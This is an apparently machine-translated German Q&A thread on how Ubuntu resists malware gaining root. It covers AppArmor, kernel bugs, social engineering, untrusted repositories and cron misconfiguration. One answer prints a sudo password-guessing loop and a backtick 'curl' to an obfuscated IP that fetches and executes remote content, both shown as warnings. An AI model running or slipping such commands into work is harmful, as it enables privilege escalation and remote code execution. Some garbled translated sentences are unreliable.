it-swarm.com.de

Wie wird das System sicher gehalten?

Ich verstehe, dass Malware, wenn sie in ein Linux-System eindringt, allenfalls ein Benutzerrecht erhält und alles ruiniert, was sich in der Reichweite des jeweiligen Benutzers befindet, d. H. Die eigenen Dateien des Benutzers.

Aber was genau hindert die Malware daran, auf Root-Ebene zuzugreifen? Kann es nicht irgendwie das Passwort von innen knacken?

24
Oxwivi

Dies ist eine komplexe Frage. In einem Ubuntu-System gibt es viele verschiedene Sicherheitsebenen, von komplexen Frameworks wie AppArmor bis hin zu einfachen Kernelvariablen wie mmap_min_addr. Sie können dem Mix einige Kernel-Funktionen wie die Speicher-Randomisierung hinzufügen. Sie finden eine Liste mit kurzen Erklärungen im buntu Wiki .

Ein weiterer wichtiger Faktor ist, dass die Updates schnell und einfach sind. Die meisten Computer werden also auf die letzten Sicherheitsupdates aktualisiert.

Soweit ich weiß, hat ein Angreifer, der lokalen Zugriff auf Ihren Computer hat, drei Möglichkeiten, die Kernel-Berechtigungen zu skalieren:

  1. Knacken Sie das Passwort. Dies wird jedoch sehr schwierig, da das Kennwort verschlüsselt gespeichert wird und Algorithmen verwendet werden, bei denen kein Fehler bekannt ist. Es wird Ewigkeiten dauern, es zu knacken.

  2. Fehler im Kernel. Alle Sicherheitsfunktionen des Kernels werden jedoch beeinträchtigt.

  3. Trick den Benutzer, das Passwort preiszugeben, d. H. Social Engineering. Zeigen Sie einfach einen gefälschten Kennwortdialog an oder verwenden Sie einen anderen Trick. Dies ist der einfachste Weg, dies zu tun.

Der dritte Punkt ist die derzeit schwächste Verwundbarkeit.

20
Javier Rivera

Das Knacken des root-Passworts selbst ist nicht möglich, da Ubuntu den root-Benutzer standardmäßig deaktiviert hat. Wenn Ihr Benutzer jedoch über Sudo root werden kann und Ihr Passwort leicht zu erraten ist, haben Sie ein unsicheres System. Beispielskript zum Testen eines Passworts:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|Sudo -S evil_command
done

Durch Hinzufügen eines nicht vertrauenswürdigen Repositorys können Programme aus diesem Repository installiert werden. Selbst wenn Sie eine Anwendung wie Sudo apt-get install [app-from-repo] nicht explizit installieren, kann das Repository dennoch Auswirkungen auf andere Programme haben, indem Ubuntu davon ausgeht, dass das Repository eine neuere Version eines bestimmten Programms enthält.

Der Update-Vorgang wird als root ausgeführt, da sonst keine Dateien in /usr/bin oder /etc geschrieben werden konnten. Ein Installations-Trigger wird auch als root ausgeführt und kann willkürlich und möglicherweise schädliche Befehle ausführen. Jetzt mach dir keine Sorgen, es sind manuelle Maßnahmen erforderlich, um Programme zu aktualisieren, und die Ubuntu-Repositorys sind sicher. Closed-Source-Software wie Windows kann niemals als vertrauenswürdig eingestuft werden, da die Quelle nicht auf schädlichen Code überprüft werden kann. Sie können jedoch die Quelle der Ubuntu-Anwendung überprüfen, wenn dies erforderlich ist (gilt nicht für proprietäre Programme wie Sun-Java6 oder Flash). .

Wie von Javier Rivera erwähnt, können Kernel-Fehler zur Ausführung von willkürlichem Code führen, aber fehlerhafte Software ist möglicherweise auch gefährlich, insbesondere fehlerhafte setsuid Root-Binärdateien (Binärdateien, die unter dem Namen file owner, root ausgeführt werden) und andere fehlerhafte Programme, die als ausgeführt werden Wurzel.

Sie können Sicherheitslücken in Ihrem System schaffen, wenn Sie nicht darauf achten, was Sie tun. Ohne das Konzept von Cronjobs vollständig zu verstehen, haben Sie /etc/cron.daily einen Cronjob hinzugefügt, der ein Programm in Ihrem Basisordner ausführt (z. B. /bin/sh /home/your-username/myscript.sh. Wenn die Datei myscript.sh für Sie beschreibbar ist, können Sie dies tun Gelöscht von Ihnen, könnte ein Exploit bösartigen Code in myscript.sh einfügen, der als root ausgeführt wird (erweiterte Rechte).

Um sicher zu gehen, benutze deinen Verstand! Führen Sie keine Befehle aus nicht vertrauenswürdigen Quellen aus, wenn Sie nicht wissen, was sie bewirken. Wenn jemand sagt, führe `curl 3221233674` mit einem Back-Tick aus, tue das nicht. 3221233674 ist eine andere Möglichkeit, 192.0.32.10 (IP von example.com) zu schreiben. Es wäre also gleich:

`curl http://example.com/`

Diese Back-Ticks bewirken, dass die Ausgabe als Shell-Befehle ausgeführt wird. Im Klartext: "Laden Sie die Seite http://example.com/ herunter und versuchen Sie, die heruntergeladene Seite auszuführen".

Zuerst würden Sie in dem gegebenen Befehl nichts Bösartiges sehen. Aber jetzt wissen Sie, dass es auch missbraucht werden kann.

Überprüfen Sie immer die Befehle/Skripte, die Sie aus nicht vertrauenswürdigen Quellen wie dem Internet erhalten.

15
Lekensteyn